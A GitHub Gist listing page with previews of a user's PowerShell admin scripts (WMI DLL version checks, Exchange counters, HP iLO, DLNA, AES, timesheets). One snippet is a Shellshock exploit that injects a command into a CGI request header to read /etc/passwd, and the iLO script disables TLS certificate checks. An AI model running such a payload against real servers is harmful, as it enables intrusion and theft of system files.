Skip to content

Instantly share code, notes, and snippets.

mendel129

Block or report user

Report or block mendel129

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@mendel129
mendel129 / test-fileversion
Last active Dec 24, 2015
Get a list of all server 2003, connect to them, and get the filversion of a specific dll, create a list and export it to a csv
View test-fileversion
#get a list from ad with all windows server 2003 and 2003 r2 machines
$list= get-ADComputer -Filter {OperatingSystem -Like "Windows Server*2003*"}
#intantiate an empty array
$hashlist=@{}
$admin=get-credential
#connect to each computer, get the file, and select it's version
foreach($computer in $list){
$answer = Get-WMIObject -Computer $computer.DNSHostName -credential $admin -Query "SELECT * FROM CIM_DataFile WHERE Drive ='C:' AND Path='\\windows\\system32\\' AND FileName='crypt32' AND Extension='dll'" | select Version
#create a hashlist
$hashlist[$computer]=$answer
@mendel129
mendel129 / get-casstatus
Last active Dec 24, 2015
get all connected exchange users from client access servers
View get-casstatus
$RPC =Get-Counter "\MSExchange RpcClientAccess\User Count" -computername "srv1"
$OWA =Get-Counter "\MSExchange OWA\Current Unique Users" -computername "srv1"
$POP = Get-Counter "\MSExchangePop3(1)\Connections Current" -ComputerName "srv1"
$IMAP = get-counter "\MSExchangeImap4(1)\Current Connections" -ComputerName "srv1"
$csa=New-Object PSObject -Property @{
Server = srv1"
"rpc" = $RPC.CounterSamples[0].CookedValue
"owa" = $OWA.CounterSamples[0].CookedValue
"pop" = $POP.CounterSamples[0].CookedValue
"imap" = $IMAP.CounterSamples[0].CookedValue
@mendel129
mendel129 / find-scp
Last active Dec 24, 2015
gets known registered service connection points (currently only exchange and ad rights management services) from active directory domain
View find-scp
<#
Script to find AD, find the known registered Service Connection Point's, an list some information about them.
detects dns domain on the network you're on
tries to detect default domain from dns server
connects to AD, get information about AD RMS, Exchange (possible to add others!)
#>
@mendel129
mendel129 / ilo.ps1
Created Sep 21, 2015
HP ilo powershell interface
View ilo.ps1
#enter ilo IP address here
$ilourl = "https://192.168.1.14"
$jsonpage = $ilourl + "/json/login_session"
#disable certificate check
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
View PowerShell ShellShock
function invoke-shellshock($server)
{
(invoke-webrequest -Uri "http://$server/cgi-bin/status" -Headers @{"custom"="() { ignored; };echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "} -Method post).rawcontent
#(invoke-webrequest -Uri "http://$server/cgi-bin/status" -Headers @{"custom"="() { ignored; };echo Content-Type: text/html; echo ; /bin/ls . "} -Method post).rawcontent
}
View PowerShell DLNA Functions
function play(){
$var = getstate
if($var -eq "Paused")
{
$play='<?xml version="1.0" encoding="utf-8"?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:Play xmlns:u="urn:av-openhome-org:service:Playlist:1" />
</s:Body>
@mendel129
mendel129 / PoSh_OpenSSL_AES
Last active Dec 21, 2015
Needed to make powershell natively talk with gibberish-aes, with random salt (and this should be openssl compatible...)
View PoSh_OpenSSL_AES
#PowerShell to create an gibberishaes(and openssl) compatible aes string with salt
#Salted__8bitsalt/aesstring
#thanks for .netcode -> http://stackoverflow.com/questions/5452422/openssl-using-only-net-classes
function OpenSSLEncrypt($passphrase, $plainText)
{
# generate salt
[byte[]] $key
[byte[]] $iv;
[byte[]] $salt = RandomByteArray
@mendel129
mendel129 / csvto-3dict
Last active Feb 22, 2017
Quick and dirty PowerShell interface to 3D-ICT timesheet application
View csvto-3dict
# get all mondays, wednesdays and fridays of december
[int]$Month = '12'
[int]$Year = '2015'
# days not worked in december
$exceptions = @(9,11,13)
$alldays = @()
0..31 | ForEach-Object -Process {
$evaldate = (Get-Date -Year $Year -Month $Month -Day 1).AddDays($_)
@mendel129
mendel129 / csvto-tia
Last active Jan 4, 2018
Quick and dirty PowerShell interface for Cronos timesheets (imports data from csv)
View csvto-tia
#tSF for Cronos
#10 december 2014
#11/12/2014:added tSF production api key
#api overview in doc on https://timesheetservicetest.cronos.be/
#overview @ https://timesheettest.cronos.be
############################################################################
[CmdletBinding()]
Param(
# [Parameter(Mandatory=$True)]
@mendel129
mendel129 / Manage-LocalAdmin.ps1
Last active Mar 7, 2016
Microsoft LAPS, https://support.microsoft.com/en-us/kb/3062591, doesn't handle user creation that well, and GPP is deprecated since ms14-025. Might get solved with startupscript (tested on win10)
View Manage-LocalAdmin.ps1
#Microsoft LAPS, https://support.microsoft.com/en-us/kb/3062591, doesn't handle user creation that well, and GPP is deprecated since ms14-025
#might get solved with startupscript (tested on win10)
#get users in local administrator
$obj_group = [ADSI]"WinNT://$($env:COMPUTERNAME)/Administrators,group"
$Administrators = @($obj_group.psbase.Invoke("Members")) | foreach{([ADSI]$_).InvokeGet("Name")}
#get local users
$adsi = [ADSI]"WinNT://$($env:COMPUTERNAME)"
$Users = $adsi.psbase.children | where {$_.psbase.schemaClassName -match "user"} | select @{n="Name";e={$_.name}}
You can’t perform that action at this time.